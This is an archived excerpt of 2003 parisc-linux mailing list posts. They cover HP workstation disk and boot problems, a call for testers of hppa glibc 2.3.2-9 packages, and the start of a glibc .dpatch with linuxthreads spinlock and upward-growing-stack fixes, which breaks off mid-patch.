Path: news.gmane.org!not-for-mail
From: Riccardo Mottola <rollei@tiscalinet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scsi problems on a 720
Date: Thu, 16 Oct 2003 19:29:40 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <BBB4A223.97F5%rollei@tiscalinet.it>
References: <3F8E9798.7040306@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622881 32708 80.91.229.3 (22 Nov 2014 02:21:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:21 +0000 (UTC)
To: "cbeerse@lycos.nl" <cbeerse@lycos.nl>,
	parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 16 11:30:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp0.libero.it (smtp0.libero.it [193.70.192.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AE5C48A3
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Oct 2003 11:30:54 -0600 (MDT)
Original-Received: from [192.168.1.10] (151.37.55.41) by smtp0.libero.it (7.0.020-DD01)
        id 3F6F1CE700877827; Thu, 16 Oct 2003 19:30:49 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
In-Reply-To: <3F8E9798.7040306@lycos.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19844

on 10/16/03 3:05 PM, cbeerse@lycos.nl at cbeerse@lycos.nl wrote:

> I think it is due to the partitioning and formatting of the drive. The
> partition 
> table used on HP-UX differs (a lot) from the partition table used on linux.
> Therefor, an entire disk should be targeted for either linux or hp-ux. And let
> the respective OS do the initialization (partitioning and file-system).
<snip>
> 
> On linux, its `fdisk` or variants like `sfdisk` to do the partitioning. Then
> use 
> mkfs on each partition to create the filesystem. Or let the installer handle
> this.

But I did so. One disk is dedicated to HP-UX and one to linux.
I partitioned the one for linux entirely for linux (fdisk doesn't even
recognize the HP-UX partitioning scheme!)
I said I did a mediainit to prove that the disc has no damaged sectors and
that hp-ux accesses it correctly

-Ric



From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JjDunnjr@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: parisc-linux digest, Vol 1 #1353 - 5 msgs
Date: Fri, 17 Oct 2003 12:10:07 EDT
Lines: 88
Approved: news@gmane.org
Message-ID: <1a4.1b2d6030.2cc16e5f@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_1a4.1b2d6030.2cc16e5f_boundary"
X-Trace: ger.gmane.org 1416622882 32712 80.91.229.3 (22 Nov 2014 02:21:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 17 10:13:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-r02.mx.aol.com (imo-r02.mx.aol.com [152.163.225.98])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65DD9484B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Oct 2003 10:13:01 -0600 (MDT)
Original-Received: from JjDunnjr@aol.com
	by imo-r02.mx.aol.com (mail_out_v36_r1.1.) id n.1a4.1b2d6030 (4468)
	 for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Oct 2003 12:10:07 -0400 (EDT)
X-Mailer: 8.0 for Windows sub 6803
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19845

--part1_1a4.1b2d6030.2cc16e5f_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

In a message dated 10/17/2003 8:31:41 AM Eastern Daylight Time, 
parisc-linux-request@lists.parisc-linux.org writes:

> Message: 1
> Date: Thu, 16 Oct 2003 10:02:20 -0300 (ADT)
> From: Steve Bromwich <lists@fop.ns.ca>
> To: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] 715/75 malfunction
> 
> Hi,
> 
> On Wed, 15 Oct 2003 JjDunnjr@aol.com wrote:
> 
> >Gentlepersons:
> >I have a 715/75 workstation.  I have acquired a set of Debian CDs from an
> >official source.
> >Just recently, but now without fail, the w/s won't boot.  The LEDs display
> >the following messages:
> >
> >within 2 seconds: 7-5-4-3-2-1
> >
> >2 seconds later: 6-1
> 
> I had a similar problem on a 715/50 and the workstation became a spares
> box (ie, not worth repairing). http://www.openpa.net/led.html has a
> listing of LED codes, I think 6-1 is CPU/FPU error, with a solution of
> "probably replace mainboard/CPU".
> 
> Cheers, Steve
> 

Steve:
thanks for the URL.  very helpful.  I will take your advice and find another 
box.
grateful but frustrated
jack dunn

--part1_1a4.1b2d6030.2cc16e5f_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">In a message dated 10/17/2003 8:31:41 AM Eastern Dayli=
ght Time, parisc-linux-request@lists.parisc-linux.org writes:<BR>
<BR>
<BLOCKQUOTE TYPE=3DCITE style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT=
: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">Message: 1<BR>
Date: Thu, 16 Oct 2003 10:02:20 -0300 (ADT)<BR>
From: Steve Bromwich &lt;lists@fop.ns.ca&gt;<BR>
To: parisc-linux@lists.parisc-linux.org<BR>
Subject: Re: [parisc-linux] 715/75 malfunction<BR>
<BR>
Hi,<BR>
<BR>
On Wed, 15 Oct 2003 JjDunnjr@aol.com wrote:<BR>
<BR>
&gt;Gentlepersons:<BR>
&gt;I have a 715/75 workstation.&nbsp; I have acquired a set of Debian CDs f=
rom an<BR>
&gt;official source.<BR>
&gt;Just recently, but now without fail, the w/s won't boot.&nbsp; The LEDs=20=
display<BR>
&gt;the following messages:<BR>
&gt;<BR>
&gt;within 2 seconds: 7-5-4-3-2-1<BR>
&gt;<BR>
&gt;2 seconds later: 6-1<BR>
<BR>
I had a similar problem on a 715/50 and the workstation became a spares<BR>
box (ie, not worth repairing). http://www.openpa.net/led.html has a<BR>
listing of LED codes, I think 6-1 is CPU/FPU error, with a solution of<BR>
"probably replace mainboard/CPU".<BR>
<BR>
Cheers, Steve<BR>
</BLOCKQUOTE><BR>
<BR>
Steve:<BR>
thanks for the URL.&nbsp; very helpful.&nbsp; I will take your advice and fi=
nd another box.<BR>
grateful but frustrated<BR>
jack dunn</FONT></HTML>

--part1_1a4.1b2d6030.2cc16e5f_boundary--


From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa glibc 2.3.2-9 available for the brave testers!
Date: Fri, 17 Oct 2003 14:09:12 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20031017180912.GD27289__17643.6038142585$1416622882$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622882 32714 80.91.229.3 (22 Nov 2014 02:21:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:22 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 17 12:12:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2271C484B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Oct 2003 12:12:54 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AAZ2H-0007UN-00; Fri, 17 Oct 2003 14:09:13 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19846

parisc-linux,
debian-hppa,

--- CALLING ALL TESTERS! ---

glibc 2.3.2 is complete for HPPA. We've gotten rid of the following
long standing test-suite errors (bug-iconv3, and test-fenv).

The regressions in 2.3.2 were caused by incorrect handling of the PIC
register by the kernel, but fixed in glibc. Most cases for our stack
were handled incorrectly (stack grows up cases), but are fixed in this
release.

ftp://ftp.parisc-linux.org/unofficial-debs/glibc_2.3.2-9_2003-10-16/

Download all the debs and install with:

dpkg -i libc6_*.deb
(Followed by dpkg -i of the rest in any order, libc6 must install first) 

Please do this only if you consider yourself a well seasoned linux-type
person. If that dpkg install fails for any reason you might be in
trouble. I'm running these debs on all my boxes, and I've tested in a
chroot, rebuilt our toolchain, and ran lmbench, gnome-session, nautilus,
and abi-word.

http://www.baldric.uwo.ca/~carlos/a500-gnome-abiword.png

Thanks go out to everyone for all the moral support and fun! 

--- TEST IT AND REPORT BACK ... PLEASE! :) ---

== DISCLAIMER ===
I do not guarantee that these debs won't cause your computer to explode
like a pineapple grenade, showering shrapnel and fiery death on all your
loved ones.
== DISCLAIMER ===

c.



From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.3.2-9 for hppa - "when hell freezes over" release
Date: Fri, 17 Oct 2003 14:12:52 -0400
Lines: 2720
Approved: news@gmane.org
Message-ID: <20031017181252.GE27289__28957.7541327619$1416622882$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="H+4ONPRPur6+Ovig"
X-Trace: ger.gmane.org 1416622882 32718 80.91.229.3 (22 Nov 2014 02:21:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@hp.com>
To: debian-glibc@lists.debian.org, Jeff Bailey <jbailey@nisa.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 17 12:16:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16B07484B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Oct 2003 12:16:42 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AAZ5p-0007Us-00; Fri, 17 Oct 2003 14:12:53 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19847

--H+4ONPRPur6+Ovig
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


debian-glibc,

Thanks for all the patience, and help from too many people
to name in a short email (you know who you are!) :) 

Please wait 2 days before doing the upload, I am in the process 
of getting other testers to make sure this release is of the
highest quality possible. If the testers do not agree with the
release quality I will request by email a delay of 2 more days 
to repatch and test, followed by an update to the list.

I have done my own internal testing, but this is always limited
compared to the scope of the "common persons" installed system
and hardware.

-- Install procedure --

a. Remove all *hppa* patches from 0list
b. Include just this one .dpatch

I have asked Jeff Bailey to do the upload for me. 
This would place us at 2.3.2-9, and get us back on track.

The .dpatch contains a complete internal listing of all 
the patches I used to generate the larger patch.

I will produce an alternate .dpatch for the nptl branch,
since the cvs.dpatch is newer and will have some of my
upstream patches.

Many thanks,

Cheers,
Carlos.

--H+4ONPRPur6+Ovig
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="glibc232-hppa-full-2003-10-16.dpatch"

#! /bin/sh -e

# All lines beginning with `# DP:' are a description of the patch.
# DP: Description: HPPA Glibc Fixes 2003-10-14 
# DP: Related bugs: 
# DP: Author: Carlos O'Donell <carlos@baldric.uwo.ca>
# DP: Upstream status: Submitted and pending.
# DP: Status Details: Waiting on upstream to review patcfhes/
# DP: Date: 2003-10-16

if [ $# -ne 2 ]; then
    echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
    exit 1
fi
case "$1" in
    -patch) patch -d "$2" -f --no-backup-if-mismatch -p1 < $0;;
    -unpatch) patch -d "$2" -f --no-backup-if-mismatch -R -p1 < $0;;
    *)
	echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
	exit 1
esac
exit 0

# Patched with:
#
# Linuxthread fixes:
# patches-2003-10-14/glibc23-00.a-noarch-pthreads
# patches-2003-10-14/glibc23-00.a1-noarch-sgu
# patches-2003-10-14/glibc23-00.b-noarch-sysdeps-pthreads
# patches-2003-10-14/glibc23-00.c2-hppa-pthreads
# patches-2003-10-14/glibc23-01d-hppa-dl-machine
# 
# libgcc compat fixes:
# patches-2003-10-14/glibc23-02-hppa-compat
#
# Introduce atomicity warnings:
# patches-2003-10-14/glibc23-03-hppa-atomicity
#
# Don't align all mallocs at 16:
# patches-2003-10-14/glibc23-04-hppa-malloc8
#
# Sysdep updates including cancellation:
# patches-2003-10-14/glibc23-05n-hppa-sysdep
# patches-2003-10-14/glibc23-06r-hppa-sysdep-cancel
# patches-2003-10-14/glibc23-07b-hppa-sysdep2
#
# Elf entry fix for ld, removes kernel hack:
# patches-2003-10-14/glibc23-09-hppa-entry
#
# Patch to use new atomic structure:
# patches-2003-10-14/glibc23-12-hppa-oldsemaphore
#
# We have sjlj exceptions but compat code was for dwarf:
# patches-2003-10-14/glibc23-13-hppa-framestatefor
#
# Fix function pointer resolving (needs to move to new generic method):
# patches-2003-10-14/glibc23-14-hppa-dlfptr
#
# Fixes getaddrinfo from upstream:
# patches-2003-10-14/glibc23-15-generic-getaddrinfo
#
# Include new pthreadtypes for hppa:
# patches-2003-10-14/glibc23-17b-hppa-pthreadtypes
#
# Fix warnings:
# patches-2003-10-14/glibc23-18-generic-sysctlh
#
# Add semtimedop for hppa:
# patches-2003-10-14/glibc23-19-hppa-semtimedop
#
# Fix symbol resolution issues:
# patches-2003-10-14/glibc23-20c-hppa-ptmachine
#
# Make the kernelstat 64-bit uncompatible:
# patches-2003-10-14/glibc23-21-hppa-kernelstat
#
# Fixup C version of syscalls:
# patches-2003-10-14/glibc23-22c-hppa-sysdepc
#
# Fixes for sjlj versus dwarf compat code:
# patches-2003-10-14/glibc23-23-hppa-unwind-dw2
#
# Allow hppa to get at the linkmap:
# patches-2003-10-14/glibc23-25b-dynamic-link
#
# Fix all of the assembly for hppa fpu code:
# patches-2003-10-14/glibc23-26e-fpu
#
# Add small amount of debugging code to make locale 
# generation easier to understand:
# patches-2003-10-14/glibc23-27-debug-gen-locale
#
# Fixup clone to save/restore pic register:
# patches-2003-10-14/glibc23-28c-hppa-clone
#
# Fixup prototype warnings:
# patches-2003-10-14/glibc23-29-hppa-prototypes
#
# Fixup bad cats:
# patches-2003-10-14/glibc23-30-hppa-casts
#
# Fixup warning:
# patches-2003-10-14/glibc23-31-generic-unix-Makefile
#
# Implement proper non-linuxthread locking:
# patches-2003-10-14/glibc23-32-hppa-thread-m
# patches-2003-10-14/glibc23-32a-hppa-thread-m
#
# Fixup warnings:
# patches-2003-10-14/glibc23-33-generic-internals
#
# These patches generate rejects, and those rejects were then dealt
# with on a per patch basis. Some were discarded others merged.
#

# append the patch here and adjust the -p? flag in the patch calls.
diff -urN glibc-2.3.2.orig/elf/dynamic-link.h glibc-2.3.2/elf/dynamic-link.h
--- glibc-2.3.2.orig/elf/dynamic-link.h	2003-10-14 02:14:23.000000000 -0400
+++ glibc-2.3.2/elf/dynamic-link.h	2003-10-14 02:21:12.000000000 -0400
@@ -29,12 +29,21 @@
 elf_machine_rela (struct link_map *map, const ElfW(Rela) *reloc,
 		  const ElfW(Sym) *sym, const struct r_found_version *version,
 		  ElfW(Addr) *const reloc_addr);
+# if ELF_MACHINE_REL_RELATIVE_NEEDSLINKMAP
+auto void __attribute__((always_inline))
+elf_machine_rel_relative (struct link_map *map, ElfW(Addr) l_addr, const ElfW(Rel) *reloc,
+			  ElfW(Addr) *const reloc_addr);
+auto void __attribute__((always_inline))
+elf_machine_rela_relative (struct link_map *map, ElfW(Addr) l_addr, const ElfW(Rela) *reloc,
+			  ElfW(Addr) *const reloc_addr);
+# else
 auto void __attribute__((always_inline))
 elf_machine_rel_relative (ElfW(Addr) l_addr, const ElfW(Rel) *reloc,
 			  ElfW(Addr) *const reloc_addr);
 auto void __attribute__((always_inline))
 elf_machine_rela_relative (ElfW(Addr) l_addr, const ElfW(Rela) *reloc,
 			   ElfW(Addr) *const reloc_addr);
+# endif
 # if ELF_MACHINE_NO_RELA || defined ELF_MACHINE_PLT_REL
 auto void __attribute__((always_inline))
 elf_machine_lazy_rel (struct link_map *map,
diff -urN glibc-2.3.2.orig/linuxthreads/descr.h glibc-2.3.2/linuxthreads/descr.h
--- glibc-2.3.2.orig/linuxthreads/descr.h	2003-10-14 02:14:24.000000000 -0400
+++ glibc-2.3.2/linuxthreads/descr.h	2003-10-14 02:16:35.000000000 -0400
@@ -71,7 +71,7 @@
 /* Atomic counter made possible by compare_and_swap */
 struct pthread_atomic {
   long p_count;
-  int p_spinlock;
+  __atomic_lock_t p_spinlock;
 };
 
 
diff -urN glibc-2.3.2.orig/linuxthreads/manager.c glibc-2.3.2/linuxthreads/manager.c
--- glibc-2.3.2.orig/linuxthreads/manager.c	2003-10-14 02:14:24.000000000 -0400
+++ glibc-2.3.2/linuxthreads/manager.c	2003-10-14 02:16:35.000000000 -0400
@@ -69,8 +69,13 @@
 #else
 static inline pthread_descr thread_segment(int seg)
 {
+# ifdef _STACK_GROWS_UP
+  return (pthread_descr)(THREAD_STACK_START_ADDRESS + (seg - 1) * STACK_SIZE)
+         + 1;
+# else
   return (pthread_descr)(THREAD_STACK_START_ADDRESS - (seg - 1) * STACK_SIZE)
          - 1;
+# endif
 }
 #endif
 
diff -urN glibc-2.3.2.orig/linuxthreads/oldsemaphore.c glibc-2.3.2/linuxthreads/oldsemaphore.c
--- glibc-2.3.2.orig/linuxthreads/oldsemaphore.c	2001-05-25 03:37:58.000000000 -0400
+++ glibc-2.3.2/linuxthreads/oldsemaphore.c	2003-10-14 02:16:35.000000000 -0400
@@ -31,7 +31,7 @@
 
 typedef struct {
     long int sem_status;
-    int sem_spinlock;
+    __atomic_lock_t sem_spinlock;
 } old_sem_t;
 
 extern int __old_sem_init (old_sem_t *__sem, int __pshared, unsigned int __value);
diff -urN glibc-2.3.2.orig/linuxthreads/pt-machine.c glibc-2.3.2/linuxthreads/pt-machine.c
--- glibc-2.3.2.orig/linuxthreads/pt-machine.c	2002-08-27 00:52:34.000000000 -0400
+++ glibc-2.3.2/linuxthreads/pt-machine.c	2003-10-14 02:16:35.000000000 -0400
@@ -19,7 +19,9 @@
 
 #define PT_EI
 
-extern long int testandset (int *spinlock);
+#include <pthread.h>
+
+extern long int testandset (__atomic_lock_t *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 #include <pt-machine.h>
diff -urN glibc-2.3.2.orig/linuxthreads/pthread.c glibc-2.3.2/linuxthreads/pthread.c
--- glibc-2.3.2.orig/linuxthreads/pthread.c	2003-10-14 02:14:35.000000000 -0400
+++ glibc-2.3.2/linuxthreads/pthread.c	2003-10-14 02:16:35.000000000 -0400
@@ -299,9 +299,9 @@
   pthread_descr self;
 
   /* First of all init __pthread_handles[0] and [1] if needed.  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
 # ifndef SHARED
   /* Unlike in the dynamically linked case the dynamic linker has not
@@ -369,7 +369,7 @@
 # endif
   /* self->p_start_args need not be initialized, it's all zero.  */
   self->p_userstack = 1;
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO 
   self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   self->p_alloca_cutoff = __MAX_ALLOCA_CUTOFF;
@@ -383,9 +383,9 @@
 #else  /* USE_TLS */
 
   /* First of all init __pthread_handles[0] and [1].  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
   __pthread_handles[0].h_descr = &__pthread_initial_thread;
   __pthread_handles[1].h_descr = &__pthread_manager_thread;
@@ -841,7 +841,11 @@
   /* __pthread_handles[0] is the initial thread, __pthread_handles[1] is
      the manager threads handled specially in thread_self(), so start at 2 */
   h = __pthread_handles + 2;
+# ifdef _STACK_GROWS_UP
+  while (! (sp >= (char *) h->h_descr && sp < h->h_descr->p_guardaddr)) h++;
+# else
   while (! (sp <= (char *) h->h_descr && sp >= h->h_bottom)) h++;
+# endif
   return h->h_descr;
 }
 
@@ -856,11 +860,22 @@
     return manager_thread;
   h = __pthread_handles + 2;
 # ifdef USE_TLS
+#  ifdef _STACK_GROWS_UP
+  while (h->h_descr == NULL
+	 || ! (sp >= h->h_descr->p_stackaddr && 
+	       sp < h->h_descr->p_guardaddr))
+#  else
   while (h->h_descr == NULL
-	 || ! (sp <= (char *) h->h_descr->p_stackaddr && sp >= h->h_bottom))
+	 || ! (sp <= h->h_descr->p_stackaddr && 
+	       sp >= h->h_bottom))
+#  endif
     h++;
 # else
+#  ifdef _STACK_GROWS_UP
+  while (! (sp >= (char *) h->h_descr && sp < h->h_descr->p_guardaddr))
+#  else
   while (! (sp <= (char *) h->h_descr && sp >= h->h_bottom))
+#  endif
     h++;
 # endif
   return h->h_descr;
diff -urN glibc-2.3.2.orig/linuxthreads/spinlock.c glibc-2.3.2/linuxthreads/spinlock.c
--- glibc-2.3.2.orig/linuxthreads/spinlock.c	2002-08-29 06:32:02.000000000 -0400
+++ glibc-2.3.2/linuxthreads/spinlock.c	2003-10-14 02:16:35.000000000 -0400
@@ -24,9 +24,9 @@
 #include "spinlock.h"
 #include "restart.h"
 
-static void __pthread_acquire(int * spinlock);
+static void __pthread_acquire(__atomic_lock_t * spinlock);
 
-static inline void __pthread_release(int * spinlock)
+static inline void __pthread_release(__atomic_lock_t * spinlock)
 {
   WRITE_MEMORY_BARRIER();
   *spinlock = __LT_SPINLOCK_INIT;
@@ -269,11 +269,11 @@
 struct wait_node {
   struct wait_node *next;	/* Next node in null terminated linked list */
   pthread_descr thr;		/* The thread waiting with this node */
-  int abandoned;		/* Atomic flag */
+  __atomic_lock_t abandoned;	/* Atomic flag */
 };
 
 static long wait_node_free_list;
-static int wait_node_free_list_spinlock;
+__pthread_lock_define_initialized(static, wait_node_free_list_spinlock);
 
 /* Allocate a new node from the head of the free list using an atomic
    operation, or else using malloc if that list is empty.  A fundamental
@@ -376,7 +376,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      wait_node.abandoned = 0;
+      wait_node.abandoned = __LT_SPINLOCK_INIT;
       wait_node.next = (struct wait_node *) lock->__status;
       wait_node.thr = self;
       lock->__status = (long) &wait_node;
@@ -402,7 +402,7 @@
       wait_node.thr = self;
       newstatus = (long) &wait_node;
     }
-    wait_node.abandoned = 0;
+    wait_node.abandoned = __LT_SPINLOCK_INIT;
     wait_node.next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -451,7 +451,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      p_wait_node->abandoned = 0;
+      p_wait_node->abandoned = __LT_SPINLOCK_INIT;
       p_wait_node->next = (struct wait_node *) lock->__status;
       p_wait_node->thr = self;
       lock->__status = (long) p_wait_node;
@@ -474,7 +474,7 @@
       p_wait_node->thr = self;
       newstatus = (long) p_wait_node;
     }
-    p_wait_node->abandoned = 0;
+    p_wait_node->abandoned = __LT_SPINLOCK_INIT;
     p_wait_node->next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -574,7 +574,7 @@
     while (p_node != (struct wait_node *) 1) {
       int prio;
 
-      if (p_node->abandoned) {
+      if (lock_held(&p_node->abandoned)) {
 	/* Remove abandoned node. */
 #if defined TEST_FOR_COMPARE_AND_SWAP
 	if (!__pthread_has_cas)
@@ -662,7 +662,7 @@
 #if !defined HAS_COMPARE_AND_SWAP || defined TEST_FOR_COMPARE_AND_SWAP
 
 int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                               int * spinlock)
+                               __atomic_lock_t * spinlock)
 {
   int res;
 
@@ -699,7 +699,7 @@
    - When nanosleep() returns, we try again, doing MAX_SPIN_COUNT
      sched_yield(), then sleeping again if needed. */
 
-static void __pthread_acquire(int * spinlock)
+static void __pthread_acquire(__atomic_lock_t * spinlock)	
 {
   int cnt = 0;
   struct timespec tm;
diff -urN glibc-2.3.2.orig/linuxthreads/spinlock.h glibc-2.3.2/linuxthreads/spinlock.h
--- glibc-2.3.2.orig/linuxthreads/spinlock.h	2001-05-24 19:23:00.000000000 -0400
+++ glibc-2.3.2/linuxthreads/spinlock.h	2003-10-14 02:16:35.000000000 -0400
@@ -33,14 +33,28 @@
 #endif
 #endif
 
